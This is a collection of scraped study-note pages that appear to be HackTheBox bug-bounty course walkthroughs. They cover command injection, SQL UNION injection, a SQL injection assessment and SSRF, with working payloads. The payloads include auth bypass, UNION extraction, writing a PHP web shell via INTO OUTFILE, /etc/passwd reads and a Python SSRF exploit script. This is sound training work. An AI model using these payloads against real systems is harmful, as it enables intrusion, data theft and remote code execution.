Try using the remaining three injection operators (new-line, &, |), and see how each works and how the output differs. Which of them only shows the output of the injected command?[](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#try-using-the-remaining-three-injection-operators-new-line-and-or-and-see-how-each-works-and-how-the)
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
So we can start by firing up burp and testing the inital command as inth section before. Once we see that initial GET request we can send it over to repeater to do some payload Manipulation. I will start by using the one from the module

as we can see it only showed the output of the injected command (whoami)
so the answer is "|"
Answer: |
[PreviousInjecting Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/injecting-commands)
[NextFilter Evasion](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion)
Last updated 1 year ago
* [AND Operator](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#and-operator)
* [OR Operator](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#or-operator)
* [Try using the remaining three injection operators (new-line, &, |), and see how each works and how the output differs. Which of them only shows the output of the injected command?](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators#try-using-the-remaining-three-injection-operators-new-line-and-or-and-see-how-each-works-and-how-the)
Copy
21y4d@htb[/htb]$ ping -c 1 127.0.0.1 || whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.635 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.635/0.635/0.635/0.000 ms
Copy
21y4d@htb[/htb]$ ping -c 1 || whoami
ping: usage error: Destination address required
21y4d
Copy
// Payload for Burp
ping -c 127.0.0.1 || whoami
---
# Introduction | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction.md)
.
Introduction to Server-side Attacks[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#introduction-to-server-side-attacks)
-----------------------------------------------------------------------------------------------------------------------------------------------------
* * *
Server-side attacks target the application or service provided by a server, whereas a client-side attack takes place at the client's machine, not the server itself. Understanding and identifying the differences is essential for penetration testing and bug bounty hunting.
For instance, vulnerabilities like Cross-Site Scripting (XSS) target the web browser, i.e., the client. On the other hand, server-side attacks target the web server. In this module, we will discuss four classes of server-side vulnerabilities:
* Server-Side Request Forgery (SSRF)
* Server-Side Template Injection (SSTI)
* Server-Side Includes (SSI) Injection
* eXtensible Stylesheet Language Transformations (XSLT) Server-Side Injection
* * *
### Server-Side Request Forgery (SSRF)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-request-forgery-ssrf)
[Server-Side Request Forgery (SSRF)](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)
is a vulnerability where an attacker can manipulate a web application into sending unauthorized requests from the server. This vulnerability often occurs when an application makes HTTP requests to other servers based on user input. Successful exploitation of SSRF can enable an attacker to access internal systems, bypass firewalls, and retrieve sensitive information.
* * *
### Server-Side Template Injection (SSTI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-template-injection-ssti)
Web applications can utilize templating engines and server-side templates to generate responses such as HTML content dynamically. This generation is often based on user input, enabling the web application to respond to user input dynamically. When an attacker can inject template code, a [Server-Side Template Injection](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server_Side_Template_Injection)
vulnerability can occur. SSTI can lead to various security risks, including data leakage and even full server compromise via remote code execution.
* * *
### Server-Side Includes (SSI) Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-includes-ssi-injection)
Similar to server-side templates, server-side includes (SSI) can be used to generate HTML responses dynamically. SSI directives instruct the webserver to include additional content dynamically. These directives are embedded into HTML files. For instance, SSI can be used to include content that is present in all HTML pages, such as headers or footers. When an attacker can inject commands into the SSI directives, [Server-Side Includes (SSI) Injection](https://owasp.org/www-community/attacks/Server-Side_Includes_(SSI)_Injection)
can occur. SSI injection can lead to data leakage or even remote code execution.
* * *
### XSLT Server-Side Injection[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#xslt-server-side-injection)
XSLT (Extensible Stylesheet Language Transformations) server-side injection is a vulnerability that arises when an attacker can manipulate XSLT transformations performed on the server. XSLT is a language used to transform XML documents into other formats, such as HTML, and is commonly employed in web applications to generate content dynamically. In the context of XSLT server-side injection, attackers exploit weaknesses in how XSLT transformations are handled, allowing them to inject and execute arbitrary code on the server.
[PreviousCHEAT SHEET](https://my-gitbook-2.gitbook.io/cbbh/11.-file-upload-attacks/cheat-sheet)
[NextSSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf)
Last updated 10 months ago
* [Introduction to Server-side Attacks](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#introduction-to-server-side-attacks)
* [Server-Side Request Forgery (SSRF)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-request-forgery-ssrf)
* [Server-Side Template Injection (SSTI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-template-injection-ssti)
* [Server-Side Includes (SSI) Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#server-side-includes-ssi-injection)
* [XSLT Server-Side Injection](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/introduction#xslt-server-side-injection)
---
# Authentication Bypass | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass.md)
.
[Authentication Bypass via Direct Access](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access)
[Authentication Bypass via Parameter Modification](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-parameter-modification)
[PreviousVulnerable Password Reset](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/password-attacks/vulnerable-password-reset)
[NextAuthentication Bypass via Direct Access](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/authentication-bypass/authentication-bypass-via-direct-access)
---
# Filter Evasion | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion.md)
.
[Identifying Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters)
[Bypassing Space Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-space-filters)
[Bypassing Other Blacklisted Characters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-other-blacklisted-characters)
[Bypassing Blacklisted Commands](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/bypassing-blacklisted-commands)
[Advanced Command Obfuscation](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/advanced-command-obfuscation)
[Evasion Tools](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/evasion-tools)
[PreviousOther Injection Operators](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/exploitation/other-injection-operators)
[NextIdentifying Filters](https://my-gitbook-2.gitbook.io/cbbh/10.-command-injections/filter-evasion/identifying-filters)
Last updated 1 year ago
---
# Attacks on Authentication | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication.md)
.
Attacks on Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacks-on-authentication)
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
* * *
We will categorize attacks on authentication based on the three types of authentication methods discussed in the previous section.
* * *
### Attacking Knowledge-based Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-knowledge-based-authentication)
Knowledge-based authentication is prevalent and comparatively easy to attack. As such, we will mainly focus on knowledge-based authentication in this module. This authentication method suffers from reliance on static personal information that can be potentially obtained, guessed, or brute-forced. As cyber threats evolve, attackers have become adept at exploiting weaknesses in knowledge-based authentication systems through various means, including social engineering and data breaches.
* * *
### Attacking Ownership-based Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-ownership-based-authentication)
One significant advantage of ownership-based authentication is its resistance to many common cyber threats, such as phishing or password-guessing attacks. Authentication methods based on physical possession, such as hardware tokens or smart cards, are inherently more secure. This is because physical items are more difficult for attackers to acquire or replicate compared to information that can be phished, guessed, or obtained through data breaches. However, challenges such as the cost and logistics of distributing and managing physical tokens or devices can sometimes limit the widespread adoption of ownership-based authentication, particularly in large-scale deployments.
Furthermore, systems using ownership-based authentication can be vulnerable to physical attacks, such as stealing or cloning the object, as well as cryptographic attacks on the algorithm it uses. For instance, cloning objects such as NFC badges in public places, like public transportation or cafés, is a feasible attack vector.
* * *
### Attacking Inherence-based Authentication[](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-inherence-based-authentication)
Inherence-based authentication provides convenience and user-friendliness. Users don't need to remember complex passwords or carry physical tokens; they simply provide biometric data, such as a fingerprint or facial scan, to gain access. This streamlined authentication process enhances user experience and reduces the likelihood of security breaches resulting from weak passwords or stolen tokens. However, inherence-based authentication systems must address concerns regarding privacy, data security, and potential biases in biometric recognition algorithms to ensure widespread adoption and trust among users.
However, inherence-based authentication systems can be irreversibly compromised in the event of a data breach. This is because users cannot change their biometric features, such as fingerprints. For instance, in 2019, threat actors [breached](https://www.vpnmentor.com/blog/report-biostar2-leak/)
a company that builds biometric smart locks, which are managed via a mobile or web application, to identify authorized users using their fingerprints and facial patterns. The breach exposed all fingerprints and facial patterns, in addition to usernames and passwords, grants, and registered users' addresses. While affected users could have easily changed their passwords to mitigate this data breach if the smart locks had used knowledge-based authentication, this was not possible since they utilized inherence-based authentication.
[PreviousIntro to Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication)
[NextBrute Force Attacks](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/brute-force-attacks)
Last updated 9 months ago
* [Attacks on Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacks-on-authentication)
* [Attacking Knowledge-based Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-knowledge-based-authentication)
* [Attacking Ownership-based Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-ownership-based-authentication)
* [Attacking Inherence-based Authentication](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication/attacks-on-authentication#attacking-inherence-based-authentication)
---
# Union Clause | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause.md)
.
* * *
So far, we have only been manipulating the original query to subvert the web application logic and bypass authentication, using the `OR` operator and comments. However, another type of SQL injection is injecting entire SQL queries executed along with the original query. This section will demonstrate this by using the MySQL `Union` clause to do `SQL Union Injection`.
* * *
### Union[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#union)
Before we start learning about Union Injection, we should first learn more about the SQL Union clause. The [Union](https://dev.mysql.com/doc/refman/8.0/en/union.html)
clause is used to combine results from multiple `SELECT` statements. This means that through a `UNION` injection, we will be able to `SELECT` and dump data from all across the DBMS, from multiple tables and databases. Let us try using the `UNION` operator in a sample database. First, let us see the content of the `ports` table:
Union Clause
Copy
mysql> SELECT * FROM ports;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| ZZ-21 | Shenzhen |
+----------+-----------+
3 rows in set (0.00 sec)
Next, let us see the output of the `ships` tables:
Union Clause
Copy
mysql> SELECT * FROM ships;
+----------+-----------+
| Ship | city |
+----------+-----------+
| Morrison | New York |
+----------+-----------+
1 rows in set (0.00 sec)
Now, let us try to use `UNION` to combine both results:
Union Clause
As we can see, `UNION` combined the output of both `SELECT` statements into one, so entries from the `ports` table and the `ships` table were combined into a single output with four rows. As we can see, some of the rows belong to the `ports` table while others belong to the `ships` table.
Note: The data types of the selected columns on all positions should be the same.
* * *
### Even Columns[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#even-columns)
A `UNION` statement can only operate on `SELECT` statements with an equal number of columns. For example, if we attempt to `UNION` two queries that have results with a different number of columns, we get the following error:
Union Clause
The above query results in an error, as the first `SELECT` returns one column and the second `SELECT` returns two. Once we have two queries that return the same number of columns, we can use the `UNION` operator to extract data from other tables and databases.
For example, if the query is:
Code: sql
We can inject a `UNION` query into the input, such that rows from another table are returned:
Code: sql
The above query would return `username` and `password` entries from the `passwords` table, assuming the `products` table has two columns.
* * *
### Un-even Columns[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#un-even-columns)
We will find out that the original query will usually not have the same number of columns as the SQL query we want to execute, so we will have to work around that. For example, suppose we only had one column. In that case, we want to `SELECT`, we can put junk data for the remaining required columns so that the total number of columns we are `UNION`ing with remains the same as the original query.
For example, we can use any string as our junk data, and the query will return the string as its output for that column. If we `UNION` with the string `"junk"`, the `SELECT` query would be `SELECT "junk" from passwords`, which will always return `junk`. We can also use numbers. For example, the query `SELECT 1 from passwords` will always return `1` as the output.
Note: When filling other columns with junk data, we must ensure that the data type matches the columns data type, otherwise the query will return an error. For the sake of simplicity, we will use numbers as our junk data, which will also become handy for tracking our payloads positions, as we will discuss later.
Tip: For advanced SQL injection, we may want to simply use 'NULL' to fill other columns, as 'NULL' fits all data types.
The `products` table has two columns in the above example, so we have to `UNION` with two columns. If we only wanted to get one column 'e.g. `username`', we have to do `username, 2`, such that we have the same number of columns:
Code: sql
If we had more columns in the table of the original query, we have to add more numbers to create the remaining required columns. For example, if the original query used `SELECT` on a table with four columns, our `UNION` injection would be:
Code: sql
This query would return:
Union Clause
As we can see, our wanted output of the '`UNION SELECT username from passwords`' query is found at the first column of the second row, while the numbers filled the remaining columns.
**Questions**[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#questions)
--------------------------------------------------------------------------------------------------------------------------
Target(s): 83.136.253.235:32918
Authenticate to 83.136.253.235:32918 with user "root" and password "password"
Connect to the above MySQL server with the 'mysql' tool, and find the number of records returned when doing a 'Union' of all records in the 'employees' table and all records in the 'departments' table.
A: 663
[PreviousUsing Comments](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/using-comments)
[NextUnion Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-injection)
Last updated 1 year ago
* [Union](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#union)
* [Even Columns](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#even-columns)
* [Un-even Columns](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#un-even-columns)
* [Questions](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/sql-injections/union-clause#questions)
Copy
mysql> SELECT * FROM ports UNION SELECT * FROM ships;
+----------+-----------+
| code | city |
+----------+-----------+
| CN SHA | Shanghai |
| SG SIN | Singapore |
| Morrison | New York |
| ZZ-21 | Shenzhen |
+----------+-----------+
4 rows in set (0.00 sec)
Copy
mysql> SELECT city FROM ports UNION SELECT * FROM ships;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
Copy
SELECT * FROM products WHERE product_id = 'user_input'
Copy
SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '
Copy
SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords
Copy
UNION SELECT username, 2, 3, 4 from passwords-- '
Copy
mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '
+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
| admin | 2 | 3 | 4 |
+-----------+-----------+-----------+-----------+
Copy
// Solution / Answer
┌─[us-academy-1]─[10.10.14.20]─[htb-ac-1067736@htb-nc3812yygr]─[~]
└──╼ [★]$ mysql -u root -h 83.136.253.235 -P 32918 -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 3
Server version: 10.7.3-MariaDB-1:10.7.3+maria~focal mariadb.org binary distribution
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> SHOW TABLES;
ERROR 1046 (3D000): No database selected
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| employees |
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.145 sec)
MariaDB [(none)]> use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [employees]> SHOW TABLES;
+----------------------+
| Tables_in_employees |
+----------------------+
| current_dept_emp |
| departments |
| dept_emp |
| dept_emp_latest_date |
| dept_manager |
| employees |
| salaries |
| titles |
+----------------------+
8 rows in set (0.145 sec)
MariaDB [employees]> SELECT * FROM departments;
+---------+--------------------+
| dept_no | dept_name |
+---------+--------------------+
| d009 | Customer Service |
| d005 | Development |
| d002 | Finance |
| d003 | Human Resources |
| d001 | Marketing |
| d004 | Production |
| d006 | Quality Management |
| d008 | Research |
| d007 | Sales |
+---------+--------------------+
9 rows in set (0.146 sec)
MariaDB [employees]> SELECT * FROM employees;
+--------+------------+--------------+-----------------+--------+------------+
| emp_no | birth_date | first_name | last_name | gender | hire_date |
+--------+------------+--------------+-----------------+--------+------------+
| 10001 | 1953-09-02 | Georgi | Facello | M | 1986-06-26 |
| 10002 | 1952-12-03 | Vivian | Billawala | F | 1986-12-11 |
| 10003 | 1959-06-16 | Temple | Lukaszewicz | M | 1992-07-04 |
...
654 rows in set (0.290 sec)
MariaDB [employees]> SELECT * from employees UNION SELECT dept_no, dept_name,3,4,5,6 FROM departments;
+--------+--------------------+--------------+-----------------+--------+------------+
| emp_no | birth_date | first_name | last_name | gender | hire_date |
+--------+--------------------+--------------+-----------------+--------+------------+
| 10001 | 1953-09-02 | Georgi | Facello | M | 1986-06-26 |
| 10002 | 1952-12-03 | Vivian | Billawala | F | 1986-12-11 |
| 10003 | 1959-06-16 | Temple | Lukaszewicz | M | 1992-07-04 |
...
| 10653 | 1956-09-05 | Patricia | Breugel | M | 1993-10-13 |
| 10654 | 1958-05-01 | Sachin | Tsukuda | M | 1997-11-30 |
| d009 | Customer Service | 3 | 4 | 5 | 6 |
| d005 | Development | 3 | 4 | 5 | 6 |
| d002 | Finance | 3 | 4 | 5 | 6 |
| d003 | Human Resources | 3 | 4 | 5 | 6 |
| d001 | Marketing | 3 | 4 | 5 | 6 |
| d004 | Production | 3 | 4 | 5 | 6 |
| d006 | Quality Management | 3 | 4 | 5 | 6 |
| d008 | Research | 3 | 4 | 5 | 6 |
| d007 | Sales | 3 | 4 | 5 | 6 |
+--------+--------------------+--------------+-----------------+--------+------------+
663 rows in set (0.292 sec)
---
# Skills Assessment - SQL Injection Fundamentals | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals.md)
.
* * *
The company `Inlanefreight` has contracted you to perform a web application assessment against one of their public-facing websites. In light of a recent breach of one of their main competitors, they are particularly concerned with SQL injection vulnerabilities and the damage the discovery and successful exploitation of this attack could do to their public image and bottom line.
They provided a target IP address and no further information about their website. Perform a full assessment of the web application from a "grey box" approach, checking for the existence of SQL injection vulnerabilities.

image
Find the vulnerabilities and submit a final flag using the skills we covered to complete this module. Don't forget to think outside the box!
Questions[](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals#questions)
---------------------------------------------------------------------------------------------------------------------------------------
Target(s): 94.237.63.176:35989
Assess the web application and use a variety of techniques


Since the login was suspectable to SQL Injection, the search function more than likely is as well.

Next I will attempt to reveal the table schema

Now I want to be able to write to file to see if I can achieve RCE using SQL Injection, So I will begin attempting to write to a web root
`After you will typically see nothing, which is good.`

Having confirmed write permissions, we can go ahead and write a PHP web shell to the webroot folder.
After you should see nothing which is good.
So lets try visitnging the web shell url


[CyberChefgchq.github.io](https://gchq.github.io/CyberChef/#recipe=URL_Encode(false)&input=Y2F0IGZsYWdfY2FlMWRhZGNkMTc0LnR4dA)

Now that we have the url encoded string, let's test to see if this will reveal the flag
Complete URL looked like this:
[http://94.237.63.176:35989/dashboard/shell.php?0=cat%20/flag\_cae1dadcd174.txt94.237.63.176](http://94.237.63.176:35989/dashboard/shell.php?0=cat%20/flag_cae1dadcd174.txt)
As we can see, it worked and flag is revealed

528d6d9cedc2c7aab146ef226e918396
[PreviousMitigating SQL Injection](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/mitigating-sql-injection)
[NextHTB SQL Injection Fundamentals (assessment writeup/walkthrough)](https://my-gitbook-2.gitbook.io/cbbh/8.-sql-injection-fundamentals/skills-assessment-sql-injection-fundamentals/htb-sql-injection-fundamentals-assessment-writeup-walkthrough)
Last updated 1 year ago
Copy
// Bypass Authorization Payload
admin' OR '1'='1' -- -
Copy
// Used each one of these payloads to test the search bar for SQL Injection
d' union select 1 -- -
d' union select 1, 2 -- -
d' union select 1, 2, 3 -- -
d' union select 1, 2, 3, 4 -- -
// This payload below was the correct one, and gave the below result
d' union select 1, 2, 3, 4, 5-- -
Copy
// Payload to reveal user priveledge
d' union select 1, user(), 3, 4, 5-- -
Copy
// payload to reval The INFORMATION_SCHEMA database
d' UNION select 1,schema_name,3,4,5 from INFORMATION_SCHEMA.SCHEMATA-- -
Copy
// Write to file Union Injection payload
d' union select 1, 'file written successfully!', 3,4,5 into outfile '/var/www/html/dashboard/proof.txt' -- -
Copy
// Write Web Shell to webroot foler Payload
d' union select 1,'', 3, 4, 5 into outfile '/var/www/html/dashboard/SHELL.php'-- -
---
# Exploiting SSRF | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf.md)
.
First had to add 127.0.0.1 to /etc/hosts
Copy
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 dateserver
Copy
// Accessing Restricted Endpoints
┌──(kali㉿kali)-[/]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://10.129.128.237/index.php -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01" -fr "Server at dateserver.htb Port 80"
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://10.129.128.237/index.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
:: Header : Content-Type: application/x-www-form-urlencoded
:: Data : dateserver=http://dateserver.htb/FUZZ.php&date=2024-01-01
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Regexp: Server at dateserver.htb Port 80
________________________________________________
admin [Status: 200, Size: 361, Words: 55, Lines: 16, Duration: 4572ms]
availability [Status: 200, Size: 9, Words: 1, Lines: 1, Duration: 72ms]
:: Progress: [43007/43007] :: Job [1/1] :: 530 req/sec :: Duration: [0:03:51] :: Errors: 240 ::
### Local File Inclusion (LFI)[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#local-file-inclusion-lfi)
As seen a few sections ago, we can manipulate the URL scheme to provoke further unexpected behavior. Since the URL scheme is part of the URL supplied to the web application, let us attempt to read local files from the file system using the `file://` URL scheme. We can achieve this by supplying the URL `file:///etc/passwd`

We can use this to read arbitrary files on the filesystem, including the web application's source code. For more details about exploiting LFI vulnerabilities, check out the [File Inclusion](https://academy.hackthebox.com/module/details/23)
module.
For some reason I was able to get the flag with this request, not sure why.
Request sent

### Automated Exploit[](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#automated-exploit)
[PreviousIdentifying SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/identifying-ssrf)
[NextBlind SSRF](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/blind-ssrf)
Last updated 10 months ago
* [Local File Inclusion (LFI)](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#local-file-inclusion-lfi)
* [Automated Exploit](https://my-gitbook-2.gitbook.io/cbbh/12.-server-side-attacks/ssrf/exploiting-ssrf#automated-exploit)
Copy
// Burp Request
POST /index.php HTTP/1.1
Host: 10.129.128.237
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://10.129.128.237
Connection: keep-alive
Referer: http://10.129.128.237/
Priority: u=0
dateserver=http://dateserver.htb/admin.php&date=2024-01-01
Copy
// Burp Response
HTTP/1.1 200 OK
Date: Mon, 13 Oct 2025 18:14:11 GMT
Server: Apache/2.4.59 (Debian)
Vary: Accept-Encoding
Content-Length: 361
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Admin Dashboard
Admin Dashboard
Hello Admin
HTB{61ea58507c2b9da30465b9582d6782a1}
Copy
"""
---------------------------
Exploit SSRF
---------------------------
1. Exploit a SSRF vulnerability to identify an internal web application. Access the internal application to obtain the flag.
"""
# Import Request to send web request to the internet
import requests
import sys
import requests
# Module to display output in different colors.
from colorama import Fore, Back, Style
"""
Disable the display of certificate warnings when requests
are made to websites using insecure certificates. This can
be useful in scenarios where targeted web applications use
self-signed certificates as is the case in the AWAE labs.
"""
requests.packages.urllib3.\
disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
def main():
"""
Main entry point:
- validate CLI args
- build request info
- simulate (or actually perform) the request
- format and print the response blocks
"""
# If the script is ran without specify the target
if len(sys.argv) != 2:
print(f"In CLI, Usage should be: {sys.argv[0]} target")
print(f"Example: {sys.argv[0]} 10.0.0.1")
print(f"Example: {sys.argv[0]} manageengine")
sys.exit(1)
# Obtain taregt from CLI
target = sys.argv[1].strip().rstrip('/') # from CLI202
# ============================ URL of TARGET ============================ #
url = f"http://{target}/index.php"
# ============================ Params of Request ============================ #
params = {
"dateserver":"http://dateserver.htb/admin.php",
"date":"2024-01-01"
}
# ============================ Initiate the Request to READ File Into a Table ============================ #
try:
# WARNING: verify=False disables TLS certificate verification.
r = requests.post(url, data=params, verify=False, timeout=10)
except requests.RequestException as e:
print(f"Request failed: {e}")
sys.exit(2)
# ============================ FORMAT OUTPUT ============================ #
print("\n======= Johnny Custom Exploit Development =======\n")
print(format_text("REQUEST METHOD:", r.request.method))
print(format_text("REQUEST URL:", r.request.url))
print(format_text("REQUEST HEADERS | r.headers is: :", r.request.headers))
print(format_text("REQUEST BODY (raw):", r.request.body)) # shows form-encoded body
print(format_text("RESPONSE STATUS | r.status_code is:", r.status_code))
print(format_text("RESPONSE COOKIES | r.cookies is:", r.cookies))
print(format_text("RESPONSE CONTENT-LENGTH:", len(r.text)))
print(format_text("RESPONSE (first 300 chars):\n", r.text))
def format_text(title,item):
"""
Helper to create a nicely formatted console output block.
- title: short label for the section (e.g. "r.status_code is:")
- item: item to display (will be stringified)
Returns a string that contains the title, a separator, the item, and a short marker.
"""
cr = '\r\n'
section_break = cr + "*" * 20 + cr
item = str(item)
text = Style.BRIGHT + Fore.RED + title + Fore.RESET + section_break + item + section_break + '\t'
return text
if __name__ == "__main__":
main()
---
# Intro to Authentication | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/14.-broken-authentication/intro-to-authentication.md)
